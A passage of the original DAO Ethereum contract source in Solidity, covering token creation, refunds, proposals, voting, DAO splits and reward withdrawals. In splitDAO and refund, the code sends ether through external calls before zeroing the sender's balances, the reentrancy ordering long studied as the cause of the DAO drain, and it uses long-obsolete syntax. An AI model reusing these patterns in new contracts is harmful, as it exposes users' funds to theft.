transaction without data this is called. 190 | // It counts the amount of ether it receives and stores it in 191 | // accumulatedInput. 192 | function() { 193 | accumulatedInput += msg.value; 194 | } 195 | 196 | function payOut(address _recipient, uint _amount) returns (bool) { 197 | if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner)) 198 | throw; 199 | if (_recipient.call.value(_amount)()) { 200 | PayOut(_recipient, _amount); 201 | return true; 202 | } else { 203 | return false; 204 | } 205 | } 206 | } 207 | /* 208 | This file is part of the DAO. 209 | 210 | The DAO is free software: you can redistribute it and/or modify 211 | it under the terms of the GNU lesser General Public License as published by 212 | the Free Software Foundation, either version 3 of the License, or 213 | (at your option) any later version. 214 | 215 | The DAO is distributed in the hope that it will be useful, 216 | but WITHOUT ANY WARRANTY; without even the implied warranty of 217 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 218 | GNU lesser General Public License for more details. 219 | 220 | You should have received a copy of the GNU lesser General Public License 221 | along with the DAO. If not, see . 222 | */ 223 | 224 | 225 | /* 226 | * Token Creation contract, used by the DAO to create its tokens and initialize 227 | * its ether. Feel free to modify the divisor method to implement different 228 | * Token Creation parameters 229 | */ 230 | 231 | 232 | contract TokenCreationInterface { 233 | 234 | // End of token creation, in Unix time 235 | uint public closingTime; 236 | // Minimum fueling goal of the token creation, denominated in tokens to 237 | // be created 238 | uint public minTokensToCreate; 239 | // True if the DAO reached its minimum fueling goal, false otherwise 240 | bool public isFueled; 241 | // For DAO splits - if privateCreation is 0, then it is a public token 242 | // creation, otherwise only the address stored in privateCreation is 243 | // allowed to create tokens 244 | address public privateCreation; 245 | // hold extra ether which has been sent after the DAO token 246 | // creation rate has increased 247 | ManagedAccount public extraBalance; 248 | // tracks the amount of wei given from each contributor (used for refund) 249 | mapping (address => uint256) weiGiven; 250 | 251 | /// @dev Constructor setting the minimum fueling goal and the 252 | /// end of the Token Creation 253 | /// @param _minTokensToCreate Minimum fueling goal in number of 254 | /// Tokens to be created 255 | /// @param _closingTime Date (in Unix time) of the end of the Token Creation 256 | /// @param _privateCreation Zero means that the creation is public. A 257 | /// non-zero address represents the only address that can create Tokens 258 | /// (the address can also create Tokens on behalf of other accounts) 259 | // This is the constructor: it can not be overloaded so it is commented out 260 | // function TokenCreation( 261 | // uint _minTokensTocreate, 262 | // uint _closingTime, 263 | // address _privateCreation 264 | // ); 265 | 266 | /// @notice Create Token with `_tokenHolder` as the initial owner of the Token 267 | /// @param _tokenHolder The address of the Tokens's recipient 268 | /// @return Whether the token creation was successful 269 | function createTokenProxy(address _tokenHolder) returns (bool success); 270 | 271 | /// @notice Refund `msg.sender` in the case the Token Creation did 272 | /// not reach its minimum fueling goal 273 | function refund(); 274 | 275 | /// @return The divisor used to calculate the token creation rate during 276 | /// the creation phase 277 | function divisor() constant returns (uint divisor); 278 | 279 | event FuelingToDate(uint value); 280 | event CreatedToken(address indexed to, uint amount); 281 | event Refund(address indexed to, uint value); 282 | } 283 | 284 | 285 | contract TokenCreation is TokenCreationInterface, Token { 286 | function TokenCreation( 287 | uint _minTokensToCreate, 288 | uint _closingTime, 289 | address _privateCreation) { 290 | 291 | closingTime = _closingTime; 292 | minTokensToCreate = _minTokensToCreate; 293 | privateCreation = _privateCreation; 294 | extraBalance = new ManagedAccount(address(this), true); 295 | } 296 | 297 | function createTokenProxy(address _tokenHolder) returns (bool success) { 298 | if (now < closingTime && msg.value > 0 299 | && (privateCreation == 0 || privateCreation == msg.sender)) { 300 | 301 | uint token = (msg.value * 20) / divisor(); 302 | extraBalance.call.value(msg.value - token)(); 303 | balances[_tokenHolder] += token; 304 | totalSupply += token; 305 | weiGiven[_tokenHolder] += msg.value; 306 | CreatedToken(_tokenHolder, token); 307 | if (totalSupply >= minTokensToCreate && !isFueled) { 308 | isFueled = true; 309 | FuelingToDate(totalSupply); 310 | } 311 | return true; 312 | } 313 | throw; 314 | } 315 | 316 | function refund() noEther { 317 | if (now > closingTime && !isFueled) { 318 | // Get extraBalance - will only succeed when called for the first time 319 | if (extraBalance.balance >= extraBalance.accumulatedInput()) 320 | extraBalance.payOut(address(this), extraBalance.accumulatedInput()); 321 | 322 | // Execute refund 323 | if (msg.sender.call.value(weiGiven[msg.sender])()) { 324 | Refund(msg.sender, weiGiven[msg.sender]); 325 | totalSupply -= balances[msg.sender]; 326 | balances[msg.sender] = 0; 327 | weiGiven[msg.sender] = 0; 328 | } 329 | } 330 | } 331 | 332 | function divisor() constant returns (uint divisor) { 333 | // The number of (base unit) tokens per wei is calculated 334 | // as `msg.value` * 20 / `divisor` 335 | // The fueling period starts with a 1:1 ratio 336 | if (closingTime - 2 weeks > now) { 337 | return 20; 338 | // Followed by 10 days with a daily creation rate increase of 5% 339 | } else if (closingTime - 4 days > now) { 340 | return (20 + (now - (closingTime - 2 weeks)) / (1 days)); 341 | // The last 4 days there is a constant creation rate ratio of 1:1.5 342 | } else { 343 | return 30; 344 | } 345 | } 346 | } 347 | /* 348 | This file is part of the DAO. 349 | 350 | The DAO is free software: you can redistribute it and/or modify 351 | it under the terms of the GNU lesser General Public License as published by 352 | the Free Software Foundation, either version 3 of the License, or 353 | (at your option) any later version. 354 | 355 | The DAO is distributed in the hope that it will be useful, 356 | but WITHOUT ANY WARRANTY; without even the implied warranty of 357 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 358 | GNU lesser General Public License for more details. 359 | 360 | You should have received a copy of the GNU lesser General Public License 361 | along with the DAO. If not, see . 362 | */ 363 | 364 | 365 | /* 366 | Standard smart contract for a Decentralized Autonomous Organization (DAO) 367 | to automate organizational governance and decision-making. 368 | */ 369 | 370 | 371 | contract DAOInterface { 372 | 373 | // The amount of days for which people who try to participate in the 374 | // creation by calling the fallback function will still get their ether back 375 | uint constant creationGracePeriod = 40 days; 376 | // The minimum debate period that a generic proposal can have 377 | uint constant minProposalDebatePeriod = 2 weeks; 378 | // The minimum debate period that a split proposal can have 379 | uint constant minSplitDebatePeriod = 1 weeks; 380 | // Period of days inside which it's possible to execute a DAO split 381 | uint constant splitExecutionPeriod = 27 days; 382 | // Period of time after which the minimum Quorum is halved 383 | uint constant quorumHalvingPeriod = 25 weeks; 384 | // Period after which a proposal is closed 385 | // (used in the case `executeProposal` fails because it throws) 386 | uint constant executeProposalPeriod = 10 days; 387 | // Denotes the maximum proposal deposit that can be given. It is given as 388 | // a fraction of total Ether spent plus balance of the DAO 389 | uint constant maxDepositDivisor = 100; 390 | 391 | // Proposals to spend the DAO's ether or to choose a new Curator 392 | Proposal[] public proposals; 393 | // The quorum needed for each proposal is partially calculated by 394 | // totalSupply / minQuorumDivisor 395 | uint public minQuorumDivisor; 396 | // The unix time of the last time quorum was reached on a proposal 397 | uint public lastTimeMinQuorumMet; 398 | 399 | // Address of the curator 400 | address public curator; 401 | // The whitelist: List of addresses the DAO is allowed to send ether to 402 | mapping (address => bool) public allowedRecipients; 403 | 404 | // Tracks the addresses that own Reward Tokens. Those addresses can only be 405 | // DAOs that have split from the original DAO. Conceptually, Reward Tokens 406 | // represent the proportion of the rewards that the DAO has the right to 407 | // receive. These Reward Tokens are generated when the DAO spends ether. 408 | mapping (address => uint) public rewardToken; 409 | // Total supply of rewardToken 410 | uint public totalRewardToken; 411 | 412 | // The account used to manage the rewards which are to be distributed to the 413 | // DAO Token Holders of this DAO 414 | ManagedAccount public rewardAccount; 415 | 416 | // The account used to manage the rewards which are to be distributed to 417 | // any DAO that holds Reward Tokens 418 | ManagedAccount public DAOrewardAccount; 419 | 420 | // Amount of rewards (in wei) already paid out to a certain DAO 421 | mapping (address => uint) public DAOpaidOut; 422 | 423 | // Amount of rewards (in wei) already paid out to a certain address 424 | mapping (address => uint) public paidOut; 425 | // Map of addresses blocked during a vote (not allowed to transfer DAO 426 | // tokens). The address points to the proposal ID. 427 | mapping (address => uint) public blocked; 428 | 429 | // The minimum deposit (in wei) required to submit any proposal that is not 430 | // requesting a new Curator (no deposit is required for splits) 431 | uint public proposalDeposit; 432 | 433 | // the accumulated sum of all current proposal deposits 434 | uint sumOfProposalDeposits; 435 | 436 | // Contract that is able to create a new DAO (with the same code as 437 | // this one), used for splits 438 | DAO_Creator public daoCreator; 439 | 440 | // A proposal with `newCurator == false` represents a transaction 441 | // to be issued by this DAO 442 | // A proposal with `newCurator == true` represents a DAO split 443 | struct Proposal { 444 | // The address where the `amount` will go to if the proposal is accepted 445 | // or if `newCurator` is true, the proposed Curator of 446 | // the new DAO). 447 | address recipient; 448 | // The amount to transfer to `recipient` if the proposal is accepted. 449 | uint amount; 450 | // A plain text description of the proposal 451 | string description; 452 | // A unix timestamp, denoting the end of the voting period 453 | uint votingDeadline; 454 | // True if the proposal's votes have yet to be counted, otherwise False 455 | bool open; 456 | // True if quorum has been reached, the votes have been counted, and 457 | // the majority said yes 458 | bool proposalPassed; 459 | // A hash to check validity of a proposal 460 | bytes32 proposalHash; 461 | // Deposit in wei the creator added when submitting their proposal. It 462 | // is taken from the msg.value of a newProposal call. 463 | uint proposalDeposit; 464 | // True if this proposal is to assign a new Curator 465 | bool newCurator; 466 | // Data needed for splitting the DAO 467 | SplitData[] splitData; 468 | // Number of Tokens in favor of the proposal 469 | uint yea; 470 | // Number of Tokens opposed to the proposal 471 | uint nay; 472 | // Simple mapping to check if a shareholder has voted for it 473 | mapping (address => bool) votedYes; 474 | // Simple mapping to check if a shareholder has voted against it 475 | mapping (address => bool) votedNo; 476 | // Address of the shareholder who created the proposal 477 | address creator; 478 | } 479 | 480 | // Used only in the case of a newCurator proposal. 481 | struct SplitData { 482 | // The balance of the current DAO minus the deposit at the time of split 483 | uint splitBalance; 484 | // The total amount of DAO Tokens in existence at the time of split. 485 | uint totalSupply; 486 | // Amount of Reward Tokens owned by the DAO at the time of split. 487 | uint rewardToken; 488 | // The new DAO contract created at the time of split. 489 | DAO newDAO; 490 | } 491 | 492 | // Used to restrict access to certain functions to only DAO Token Holders 493 | modifier onlyTokenholders {} 494 | 495 | /// @dev Constructor setting the Curator and the address 496 | /// for the contract able to create another DAO as well as the parameters 497 | /// for the DAO Token Creation 498 | /// @param _curator The Curator 499 | /// @param _daoCreator The contract able to (re)create this DAO 500 | /// @param _proposalDeposit The deposit to be paid for a regular proposal 501 | /// @param _minTokensToCreate Minimum required wei-equivalent tokens 502 | /// to be created for a successful DAO Token Creation 503 | /// @param _closingTime Date (in Unix time) of the end of the DAO Token Creation 504 | /// @param _privateCreation If zero the DAO Token Creation is open to public, a 505 | /// non-zero address means that the DAO Token Creation is only for the address 506 | // This is the constructor: it can not be overloaded so it is commented out 507 | // function DAO( 508 | // address _curator, 509 | // DAO_Creator _daoCreator, 510 | // uint _proposalDeposit, 511 | // uint _minTokensToCreate, 512 | // uint _closingTime, 513 | // address _privateCreation 514 | // ); 515 | 516 | /// @notice Create Token with `msg.sender` as the beneficiary 517 | /// @return Whether the token creation was successful 518 | function () returns (bool success); 519 | 520 | 521 | /// @dev This function is used to send ether back 522 | /// to the DAO, it can also be used to receive payments that should not be 523 | /// counted as rewards (donations, grants, etc.) 524 | /// @return Whether the DAO received the ether successfully 525 | function receiveEther() returns(bool); 526 | 527 | /// @notice `msg.sender` creates a proposal to send `_amount` Wei to 528 | /// `_recipient` with the transaction data `_transactionData`. If 529 | /// `_newCurator` is true, then this is a proposal that splits the 530 | /// DAO and sets `_recipient` as the new DAO's Curator. 531 | /// @param _recipient Address of the recipient of the proposed transaction 532 | /// @param _amount Amount of wei to be sent with the proposed transaction 533 | /// @param _description String describing the proposal 534 | /// @param _transactionData Data of the proposed transaction 535 | /// @param _debatingPeriod Time used for debating a proposal, at least 2 536 | /// weeks for a regular proposal, 10 days for new Curator proposal 537 | /// @param _newCurator Bool defining whether this proposal is about 538 | /// a new Curator or not 539 | /// @return The proposal ID. Needed for voting on the proposal 540 | function newProposal( 541 | address _recipient, 542 | uint _amount, 543 | string _description, 544 | bytes _transactionData, 545 | uint _debatingPeriod, 546 | bool _newCurator 547 | ) onlyTokenholders returns (uint _proposalID); 548 | 549 | /// @notice Check that the proposal with the ID `_proposalID` matches the 550 | /// transaction which sends `_amount` with data `_transactionData` 551 | /// to `_recipient` 552 | /// @param _proposalID The proposal ID 553 | /// @param _recipient The recipient of the proposed transaction 554 | /// @param _amount The amount of wei to be sent in the proposed transaction 555 | /// @param _transactionData The data of the proposed transaction 556 | /// @return Whether the proposal ID matches the transaction data or not 557 | function checkProposalCode( 558 | uint _proposalID, 559 | address _recipient, 560 | uint _amount, 561 | bytes _transactionData 562 | ) constant returns (bool _codeChecksOut); 563 | 564 | /// @notice Vote on proposal `_proposalID` with `_supportsProposal` 565 | /// @param _proposalID The proposal ID 566 | /// @param _supportsProposal Yes/No - support of the proposal 567 | /// @return The vote ID. 568 | function vote( 569 | uint _proposalID, 570 | bool _supportsProposal 571 | ) onlyTokenholders returns (uint _voteID); 572 | 573 | /// @notice Checks whether proposal `_proposalID` with transaction data 574 | /// `_transactionData` has been voted for or rejected, and executes the 575 | /// transaction in the case it has been voted for. 576 | /// @param _proposalID The proposal ID 577 | /// @param _transactionData The data of the proposed transaction 578 | /// @return Whether the proposed transaction has been executed or not 579 | function executeProposal( 580 | uint _proposalID, 581 | bytes _transactionData 582 | ) returns (bool _success); 583 | 584 | /// @notice ATTENTION! I confirm to move my remaining ether to a new DAO 585 | /// with `_newCurator` as the new Curator, as has been 586 | /// proposed in proposal `_proposalID`. This will burn my tokens. This can 587 | /// not be undone and will split the DAO into two DAO's, with two 588 | /// different underlying tokens. 589 | /// @param _proposalID The proposal ID 590 | /// @param _newCurator The new Curator of the new DAO 591 | /// @dev This function, when called for the first time for this proposal, 592 | /// will create a new DAO and send the sender's portion of the remaining 593 | /// ether and Reward Tokens to the new DAO. It will also burn the DAO Tokens 594 | /// of the sender. 595 | function splitDAO( 596 | uint _proposalID, 597 | address _newCurator 598 | ) returns (bool _success); 599 | 600 | /// @dev can only be called by the DAO itself through a proposal 601 | /// updates the contract of the DAO by sending all ether and rewardTokens 602 | /// to the new DAO. The new DAO needs to be approved by the Curator 603 | /// @param _newContract the address of the new contract 604 | function newContract(address _newContract); 605 | 606 | 607 | /// @notice Add a new possible recipient `_recipient` to the whitelist so 608 | /// that the DAO can send transactions to them (using proposals) 609 | /// @param _recipient New recipient address 610 | /// @dev Can only be called by the current Curator 611 | /// @return Whether successful or not 612 | function changeAllowedRecipients(address _recipient, bool _allowed) external returns (bool _success); 613 | 614 | 615 | /// @notice Change the minimum deposit required to submit a proposal 616 | /// @param _proposalDeposit The new proposal deposit 617 | /// @dev Can only be called by this DAO (through proposals with the 618 | /// recipient being this DAO itself) 619 | function changeProposalDeposit(uint _proposalDeposit) external; 620 | 621 | /// @notice Move rewards from the DAORewards managed account 622 | /// @param _toMembers If true rewards are moved to the actual reward account 623 | /// for the DAO. If not then it's moved to the DAO itself 624 | /// @return Whether the call was successful 625 | function retrieveDAOReward(bool _toMembers) external returns (bool _success); 626 | 627 | /// @notice Get my portion of the reward that was sent to `rewardAccount` 628 | /// @return Whether the call was successful 629 | function getMyReward() returns(bool _success); 630 | 631 | /// @notice Withdraw `_account`'s portion of the reward from `rewardAccount` 632 | /// to `_account`'s balance 633 | /// @return Whether the call was successful 634 | function withdrawRewardFor(address _account) internal returns (bool _success); 635 | 636 | /// @notice Send `_amount` tokens to `_to` from `msg.sender`. Prior to this 637 | /// getMyReward() is called. 638 | /// @param _to The address of the recipient 639 | /// @param _amount The amount of tokens to be transfered 640 | /// @return Whether the transfer was successful or not 641 | function transferWithoutReward(address _to, uint256 _amount) returns (bool success); 642 | 643 | /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it 644 | /// is approved by `_from`. Prior to this getMyReward() is called. 645 | /// @param _from The address of the sender 646 | /// @param _to The address of the recipient 647 | /// @param _amount The amount of tokens to be transfered 648 | /// @return Whether the transfer was successful or not 649 | function transferFromWithoutReward( 650 | address _from, 651 | address _to, 652 | uint256 _amount 653 | ) returns (bool success); 654 | 655 | /// @notice Doubles the 'minQuorumDivisor' in the case quorum has not been 656 | /// achieved in 52 weeks 657 | /// @return Whether the change was successful or not 658 | function halveMinQuorum() returns (bool _success); 659 | 660 | /// @return total number of proposals ever created 661 | function numberOfProposals() constant returns (uint _numberOfProposals); 662 | 663 | /// @param _proposalID Id of the new curator proposal 664 | /// @return Address of the new DAO 665 | function getNewDAOAddress(uint _proposalID) constant returns (address _newDAO); 666 | 667 | /// @param _account The address of the account which is checked. 668 | /// @return Whether the account is blocked (not allowed to transfer tokens) or not. 669 | function isBlocked(address _account) internal returns (bool); 670 | 671 | /// @notice If the caller is blocked by a proposal whose voting deadline 672 | /// has exprired then unblock him. 673 | /// @return Whether the account is blocked (not allowed to transfer tokens) or not. 674 | function unblockMe() returns (bool); 675 | 676 | event ProposalAdded( 677 | uint indexed proposalID, 678 | address recipient, 679 | uint amount, 680 | bool newCurator, 681 | string description 682 | ); 683 | event Voted(uint indexed proposalID, bool position, address indexed voter); 684 | event ProposalTallied(uint indexed proposalID, bool result, uint quorum); 685 | event NewCurator(address indexed _newCurator); 686 | event AllowedRecipientChanged(address indexed _recipient, bool _allowed); 687 | } 688 | 689 | // The DAO contract itself 690 | contract DAO is DAOInterface, Token, TokenCreation { 691 | 692 | // Modifier that allows only shareholders to vote and create new proposals 693 | modifier onlyTokenholders { 694 | if (balanceOf(msg.sender) == 0) throw; 695 | _ 696 | } 697 | 698 | function DAO( 699 | address _curator, 700 | DAO_Creator _daoCreator, 701 | uint _proposalDeposit, 702 | uint _minTokensToCreate, 703 | uint _closingTime, 704 | address _privateCreation 705 | ) TokenCreation(_minTokensToCreate, _closingTime, _privateCreation) { 706 | 707 | curator = _curator; 708 | daoCreator = _daoCreator; 709 | proposalDeposit = _proposalDeposit; 710 | rewardAccount = new ManagedAccount(address(this), false); 711 | DAOrewardAccount = new ManagedAccount(address(this), false); 712 | if (address(rewardAccount) == 0) 713 | throw; 714 | if (address(DAOrewardAccount) == 0) 715 | throw; 716 | lastTimeMinQuorumMet = now; 717 | minQuorumDivisor = 5; // sets the minimal quorum to 20% 718 | proposals.length = 1; // avoids a proposal with ID 0 because it is used 719 | 720 | allowedRecipients[address(this)] = true; 721 | allowedRecipients[curator] = true; 722 | } 723 | 724 | function () returns (bool success) { 725 | if (now < closingTime + creationGracePeriod && msg.sender != address(extraBalance)) 726 | return createTokenProxy(msg.sender); 727 | else 728 | return receiveEther(); 729 | } 730 | 731 | 732 | function receiveEther() returns (bool) { 733 | return true; 734 | } 735 | 736 | 737 | function newProposal( 738 | address _recipient, 739 | uint _amount, 740 | string _description, 741 | bytes _transactionData, 742 | uint _debatingPeriod, 743 | bool _newCurator 744 | ) onlyTokenholders returns (uint _proposalID) { 745 | 746 | // Sanity check 747 | if (_newCurator && ( 748 | _amount != 0 749 | || _transactionData.length != 0 750 | || _recipient == curator 751 | || msg.value > 0 752 | || _debatingPeriod < minSplitDebatePeriod)) { 753 | throw; 754 | } else if ( 755 | !_newCurator 756 | && (!isRecipientAllowed(_recipient) || (_debatingPeriod < minProposalDebatePeriod)) 757 | ) { 758 | throw; 759 | } 760 | 761 | if (_debatingPeriod > 8 weeks) 762 | throw; 763 | 764 | if (!isFueled 765 | || now < closingTime 766 | || (msg.value < proposalDeposit && !_newCurator)) { 767 | 768 | throw; 769 | } 770 | 771 | if (now + _debatingPeriod < now) // prevents overflow 772 | throw; 773 | 774 | // to prevent a 51% attacker to convert the ether into deposit 775 | if (msg.sender == address(this)) 776 | throw; 777 | 778 | _proposalID = proposals.length++; 779 | Proposal p = proposals[_proposalID]; 780 | p.recipient = _recipient; 781 | p.amount = _amount; 782 | p.description = _description; 783 | p.proposalHash = sha3(_recipient, _amount, _transactionData); 784 | p.votingDeadline = now + _debatingPeriod; 785 | p.open = true; 786 | //p.proposalPassed = False; // that's default 787 | p.newCurator = _newCurator; 788 | if (_newCurator) 789 | p.splitData.length++; 790 | p.creator = msg.sender; 791 | p.proposalDeposit = msg.value; 792 | 793 | sumOfProposalDeposits += msg.value; 794 | 795 | ProposalAdded( 796 | _proposalID, 797 | _recipient, 798 | _amount, 799 | _newCurator, 800 | _description 801 | ); 802 | } 803 | 804 | 805 | function checkProposalCode( 806 | uint _proposalID, 807 | address _recipient, 808 | uint _amount, 809 | bytes _transactionData 810 | ) noEther constant returns (bool _codeChecksOut) { 811 | Proposal p = proposals[_proposalID]; 812 | return p.proposalHash == sha3(_recipient, _amount, _transactionData); 813 | } 814 | 815 | 816 | function vote( 817 | uint _proposalID, 818 | bool _supportsProposal 819 | ) onlyTokenholders noEther returns (uint _voteID) { 820 | 821 | Proposal p = proposals[_proposalID]; 822 | if (p.votedYes[msg.sender] 823 | || p.votedNo[msg.sender] 824 | || now >= p.votingDeadline) { 825 | 826 | throw; 827 | } 828 | 829 | if (_supportsProposal) { 830 | p.yea += balances[msg.sender]; 831 | p.votedYes[msg.sender] = true; 832 | } else { 833 | p.nay += balances[msg.sender]; 834 | p.votedNo[msg.sender] = true; 835 | } 836 | 837 | if (blocked[msg.sender] == 0) { 838 | blocked[msg.sender] = _proposalID; 839 | } else if (p.votingDeadline > proposals[blocked[msg.sender]].votingDeadline) { 840 | // this proposal's voting deadline is further into the future than 841 | // the proposal that blocks the sender so make it the blocker 842 | blocked[msg.sender] = _proposalID; 843 | } 844 | 845 | Voted(_proposalID, _supportsProposal, msg.sender); 846 | } 847 | 848 | 849 | function executeProposal( 850 | uint _proposalID, 851 | bytes _transactionData 852 | ) noEther returns (bool _success) { 853 | 854 | Proposal p = proposals[_proposalID]; 855 | 856 | uint waitPeriod = p.newCurator 857 | ? splitExecutionPeriod 858 | : executeProposalPeriod; 859 | // If we are over deadline and waiting period, assert proposal is closed 860 | if (p.open && now > p.votingDeadline + waitPeriod) { 861 | closeProposal(_proposalID); 862 | return; 863 | } 864 | 865 | // Check if the proposal can be executed 866 | if (now < p.votingDeadline // has the voting deadline arrived? 867 | // Have the votes been counted? 868 | || !p.open 869 | // Does the transaction code match the proposal? 870 | || p.proposalHash != sha3(p.recipient, p.amount, _transactionData)) { 871 | 872 | throw; 873 | } 874 | 875 | // If the curator removed the recipient from the whitelist, close the proposal 876 | // in order to free the deposit and allow unblocking of voters 877 | if (!isRecipientAllowed(p.recipient)) { 878 | closeProposal(_proposalID); 879 | p.creator.send(p.proposalDeposit); 880 | return; 881 | } 882 | 883 | bool proposalCheck = true; 884 | 885 | if (p.amount > actualBalance()) 886 | proposalCheck = false; 887 | 888 | uint quorum = p.yea + p.nay; 889 | 890 | // require 53% for calling newContract() 891 | if (_transactionData.length >= 4 && _transactionData[0] == 0x68 892 | && _transactionData[1] == 0x37 && _transactionData[2] == 0xff 893 | && _transactionData[3] == 0x1e 894 | && quorum < minQuorum(actualBalance() + rewardToken[address(this)])) { 895 | 896 | proposalCheck = false; 897 | } 898 | 899 | if (quorum >= minQuorum(p.amount)) { 900 | if (!p.creator.send(p.proposalDeposit)) 901 | throw; 902 | 903 | lastTimeMinQuorumMet = now; 904 | // set the minQuorum to 20% again, in the case it has been reached 905 | if (quorum > totalSupply / 5) 906 | minQuorumDivisor = 5; 907 | } 908 | 909 | // Execute result 910 | if (quorum >= minQuorum(p.amount) && p.yea > p.nay && proposalCheck) { 911 | if (!p.recipient.call.value(p.amount)(_transactionData)) 912 | throw; 913 | 914 | p.proposalPassed = true; 915 | _success = true; 916 | 917 | // only create reward tokens when ether is not sent to the DAO itself and 918 | // related addresses. Proxy addresses should be forbidden by the curator. 919 | if (p.recipient != address(this) && p.recipient != address(rewardAccount) 920 | && p.recipient != address(DAOrewardAccount) 921 | && p.recipient != address(extraBalance) 922 | && p.recipient != address(curator)) { 923 | 924 | rewardToken[address(this)] += p.amount; 925 | totalRewardToken += p.amount; 926 | } 927 | } 928 | 929 | closeProposal(_proposalID); 930 | 931 | // Initiate event 932 | ProposalTallied(_proposalID, _success, quorum); 933 | } 934 | 935 | 936 | function closeProposal(uint _proposalID) internal { 937 | Proposal p = proposals[_proposalID]; 938 | if (p.open) 939 | sumOfProposalDeposits -= p.proposalDeposit; 940 | p.open = false; 941 | } 942 | 943 | function splitDAO( 944 | uint _proposalID, 945 | address _newCurator 946 | ) noEther onlyTokenholders returns (bool _success) { 947 | 948 | Proposal p = proposals[_proposalID]; 949 | 950 | // Sanity check 951 | 952 | if (now < p.votingDeadline // has the voting deadline arrived? 953 | //The request for a split expires XX days after the voting deadline 954 | || now > p.votingDeadline + splitExecutionPeriod 955 | // Does the new Curator address match? 956 | || p.recipient != _newCurator 957 | // Is it a new curator proposal? 958 | || !p.newCurator 959 | // Have you voted for this split? 960 | || !p.votedYes[msg.sender] 961 | // Did you already vote on another proposal? 962 | || (blocked[msg.sender] != _proposalID && blocked[msg.sender] != 0) ) { 963 | 964 | throw; 965 | } 966 | 967 | // If the new DAO doesn't exist yet, create the new DAO and store the 968 | // current split data 969 | if (address(p.splitData[0].newDAO) == 0) { 970 | p.splitData[0].newDAO = createNewDAO(_newCurator); 971 | // Call depth limit reached, etc. 972 | if (address(p.splitData[0].newDAO) == 0) 973 | throw; 974 | // should never happen 975 | if (this.balance < sumOfProposalDeposits) 976 | throw; 977 | p.splitData[0].splitBalance = actualBalance(); 978 | p.splitData[0].rewardToken = rewardToken[address(this)]; 979 | p.splitData[0].totalSupply = totalSupply; 980 | p.proposalPassed = true; 981 | } 982 | 983 | // Move ether and assign new Tokens 984 | uint fundsToBeMoved = 985 | (balances[msg.sender] * p.splitData[0].splitBalance) / 986 | p.splitData[0].totalSupply; 987 | if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false) 988 | throw; 989 | 990 | 991 | // Assign reward rights to new DAO 992 | uint rewardTokenToBeMoved = 993 | (balances[msg.sender] * p.splitData[0].rewardToken) / 994 | p.splitData[0].totalSupply; 995 | 996 | uint paidOutToBeMoved = DAOpaidOut[address(this)] * rewardTokenToBeMoved / 997 | rewardToken[address(this)]; 998 | 999 | rewardToken[address(p.splitData[0].newDAO)] += rewardTokenToBeMoved; 1000 | if (rewardToken[address(this)] < rewardTokenToBeMoved) 1001 | throw; 1002 | rewardToken[address(this)] -= rewardTokenToBeMoved; 1003 | 1004 | DAOpaidOut[address(p.splitData[0].newDAO)] += paidOutToBeMoved; 1005 | if (DAOpaidOut[address(this)] < paidOutToBeMoved) 1006 | throw; 1007 | DAOpaidOut[address(this)] -= paidOutToBeMoved; 1008 | 1009 | // Burn DAO Tokens 1010 | Transfer(msg.sender, 0, balances[msg.sender]); 1011 | withdrawRewardFor(msg.sender); // be nice, and get his rewards 1012 | totalSupply -= balances[msg.sender]; 1013 | balances[msg.sender] = 0; 1014 | paidOut[msg.sender] = 0; 1015 | return true; 1016 | } 1017 | 1018 | function newContract(address _newContract){ 1019 | if (msg.sender != address(this) || !allowedRecipients[_newContract]) return; 1020 | // move all ether 1021 | if (!_newContract.call.value(address(this).balance)()) { 1022 | throw; 1023 | } 1024 | 1025 | //move all reward tokens 1026 | rewardToken[_newContract] += rewardToken[address(this)]; 1027 | rewardToken[address(this)] = 0; 1028 | DAOpaidOut[_newContract] += DAOpaidOut[address(this)]; 1029 | DAOpaidOut[address(this)] = 0; 1030 | } 1031 | 1032 | 1033 | function retrieveDAOReward(bool _toMembers) external noEther returns (bool _success) { 1034 | DAO dao = DAO(msg.sender); 1035 | 1036 | if ((rewardToken[msg.sender] * DAOrewardAccount.accumulatedInput()) / 1037 | totalRewardToken < DAOpaidOut[msg.sender]) 1038 | throw; 1039 | 1040 | uint reward = 1041 | (rewardToken[msg.sender] * DAOrewardAccount.accumulatedInput()) / 1042 | totalRewardToken - DAOpaidOut[msg.sender]; 1043 | if(_toMembers) { 1044 | if (!DAOrewardAccount.payOut(dao.rewardAccount(), reward)) 1045 | throw; 1046 | } 1047 | else { 1048 | if (!DAOrewardAccount.payOut(dao, reward)) 1049 | throw; 1050 | } 1051 | DAOpaidOut[msg.sender] += reward; 1052 | return true; 1053 | } 1054 | 1055 | function getMyReward() noEther returns (bool _success) { 1056 | return withdrawRewardFor(msg.sender); 1057 | } 1058 | 1059 | 1060 | function withdrawRewardFor(address _account) noEther internal returns (bool _success) { 1061 | if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) 1062 | throw; 1063 | 1064 | uint reward = 1065 | (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; 1066 | if (!rewardAccount.payOut(_account, reward)) 1067 | throw; 1068 | paidOut[_account] += reward; 1069 | return true; 1070 | } 1071 | 1072 | 1073 | function transfer(address _to, uint256 _value) returns (bool success) { 1074 | if (isFueled 1075 | && now > closingTime 1076 | && !isBlocked(msg.sender) 1077 | && transferPaidOut(msg.sender, _to, _value) 1078 | && super.transfer(_to, _value)) { 1079 | 1080 | return true; 1081 | } else { 1082 | throw; 1083 | } 1084 | } 1085 | 1086 | 1087 | function transferWithoutReward(address _to, uint256 _value) returns (bool success) { 1088 | if (!getMyReward()) 1089 | throw; 1090 | return transfer(_to, _value); 1091 | } 1092 | 1093 | 1094 | function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { 1095 | if (isFueled 1096 | && now > closingTime 1097 | && !isBlocked(_from) 1098 | && transferPaidOut(_from, _to, _value) 1099 | && super.transferFrom(_from, _to, _value)) { 1100 | 1101 | return true; 1102 | } else { 1103 | throw; 1104 | } 1105 | } 1106 | 1107 | 1108 | function transferFromWithoutReward( 1109 | address _from, 1110 | address _to, 1111 | uint256 _value 1112 | ) returns (bool success) { 1113 | 1114 | if (!withdrawRewardFor(_from)) 1115 | throw; 1116 | return transferFrom(_from, _to, _value); 1117 | } 1118 | 1119 | 1120 | function transferPaidOut( 1121 | address _from, 1122 | address _to, 1123 | uint256 